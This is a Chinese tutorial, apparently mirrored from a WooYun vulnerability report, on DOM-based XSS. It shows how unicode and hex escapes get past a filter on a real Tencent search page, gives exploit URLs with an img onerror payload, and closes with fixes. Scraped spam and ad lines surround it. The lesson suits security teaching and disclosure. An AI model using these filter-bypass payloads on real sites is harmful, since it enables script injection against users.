<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                # 8\. Dom Xss 入門 [顯式輸出] > 來源:[\. Dom Xss 入門 \[顯式輸出\]](http://www.wooyun.org/bugs/wooyun-2010-016041) ## 簡要描述 反射型 XSS 部分,就到這里了。 接著我們進入 Dom Xss 的部分。 Dom Xss 相比反射型 XSS,腦袋需要多思考一層。 也就是說, 我們關注的不僅是【輸出】了什么,還要了解這個頁面里,【javascript】拿這個【輸出】干了什么。 為了循序漸進,本例講到的是,【輸出】直接在源代碼可見的情況。 ## 詳細說明 1\. 在學習 Dom Xss 之前,先來補習點 html, js 的基礎知識。 ``` <div id="a">xxx</div> <script> document.getElementById("a").innerHTML="yyyyyy"; </script> ``` 解釋如下: ![image](https://box.kancloud.cn/2016-03-23_56f2503ef26ea.jpg) 2\. 進一步,我們的 yyyyyy ,還可以是 HTML 代碼。 ``` <div id="a">xxx</div> <script> document.getElementById("a").innerHTML=" <img src=1> "; </script> ``` 效果如下: ![image](https://box.kancloud.cn/2016-03-23_56f2503f0ecae.jpg) 3\. 再進一步, JS 的字符串中的字符可以寫為 unicode 編碼。 譬如: `<` 可以表示為 `\u003c` , `>` 可以表示為 `\u003e` 不知道怎么轉義的,可以使用 gainover 的工具。 工具地址:http://app.baidu.com/app/enter?appid=280383 ![image](https://box.kancloud.cn/2016-03-23_56f2503f20a69.jpg) 也就是,我們上面的代碼,可以進一步寫為。 ``` <div id="a">xxx</div> <script> document.getElementById("a").innerHTML="\u003cimg src=1\u003e"; </script> ``` 4\. 上面看起來廢話好多,但是還是很重要的,這對于后面實例的講解很重要。 5\. 我們來看看一個具體的實例,地址如下: ``` http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml ``` 和前面反射型的一樣,我們先看看輸出。 ![image](https://box.kancloud.cn/2016-03-23_56f2503f368f6.jpg) 相關代碼,我也貼出來。 ``` <strong id="titleshow">按職業 1 檢索:aaaaaaa </strong></div> <script> if("aaaaaaa"=="") document.getElementById("titleshow").innerHTML="按地區檢索:全部明星"; if("職業 1"=="職業 1") document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa"; if("職業 1"=="職業 2") document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa"; if("職業 1"=="職業 3") document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa"; </script> ``` 6\. 一共有 6 處,有一處圖上沒顯示,但是也沒用處,這里不列出來了,看上面代碼中的 5 處。我們已經知道,`<`, `>`, `"` 都被過濾了, 用 前面提到的某些技巧,似乎也無法直接 XSS。那么該怎么辦呢? 7\. 在看到本教程的 1,2,3 部分后,聰明的你們不知道會不會想到些什么呢? 對的,那就是這里出現了 `innerHTML="[輸出]"` 的情況。 我們可以看到,上面代碼中,實際上只有一句是運行了的。我們重點看它。` if("職業 1"=="職業 1")` ``` document.getElementById("titleshow").innerHTML="按職業檢索:[輸出]"; ``` 8\. 這里 [輸出] 最然過濾了 `<`, `>` ,但是并沒有過濾 `\` 。這樣一來,大家應該清楚,為什么上面要說到 `<` 可以寫為 `\u003c` 了吧。 就 是為了應付這種情況。 9\. 因此,我們可以構造缺陷點的代碼如下: ``` if("職業 1"=="職業 1") document.getElementById("titleshow").innerHTML="按職業檢索:\u003cimg src=1 onerror=alert(1)\u003e"; ``` 經過運行后, titleshow 里的 HTML 就會變為 `<img src=1 onerror=alert(1)>` ,從而彈出 1。 對應的,我們的利用代碼,可以寫為如下,其中空格,我寫為了`\u0020` ``` http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr= 133&stype=2&tname=star_second.shtml ``` 看看對應的源代碼,悲催的事情出現了, \u003c 和 \u003e 竟然被騰訊過濾了。。。 ![image](https://box.kancloud.cn/2016-03-23_56f2503f51268.jpg) 10\. 別灰心,被過濾的原因,是因為 @Jannock 大牛報告過這個漏洞。[跨站腳本-可以讓戰場離得更遠(淺談騰訊架構缺陷)](http://www.2cto.com/Article/201210/159123.html) 11\. 其實我們還應該注意到上面圖片中,過濾的實際上是`\u003c` 和`\u003e`,但是并沒有過濾`\u0020`,這說明,騰訊只是針對性的 過濾,并沒有過濾 反斜線。 12\. 其實呢,在 JS 字符串里, `<` 不光可以寫為 `\u003c`,還可以寫為 `\x3c`, `>` 同樣可以寫為 `\x3e`。我們試試騰訊過濾了這個 沒有呢? ``` http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133& stype=2&tname=star_second.shtml ``` 對應源碼,看來沒過濾啊~~ ![image](https://box.kancloud.cn/2016-03-23_56f2503f70332.jpg) 哎呀,這次總算彈出來了。見漏洞證明 比如 ``` document.getElementById("y").innerHTML="xxxxxxxxxx"; document.write("xxxxxxxxxxxx"); ``` 還有一些網站,使用了第三方的 JS 庫,譬如 jQuery 時,會有 ``` $("#y").html("xxxxxxx"); ``` 14\. 當然最后,還需要提到一些需要注意的地方。 ``` aa.innerHTML="xxxxxxxxxxxx"; ``` 這種情況下。xxxxx 只能使用 `<img src=1 onerror=alert(1)>` 這種方式來觸發 JS。 而不能以 `<script>alert(1)</script>` 來觸發,因為這種壓根不會執行`<script>..</script>`之間的內容。 IE 下,可以使用 ``` <script defer>alert(1)</script>。 ``` ## 修復方案 此案例凸顯出開發人員的意識不足問題。指哪修哪,浮于表面的修復沒有任何意義。 方法 1\. 輸出時,過濾 `\` 方法 2\. `innerHTML=encodeHTML([輸出])`
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看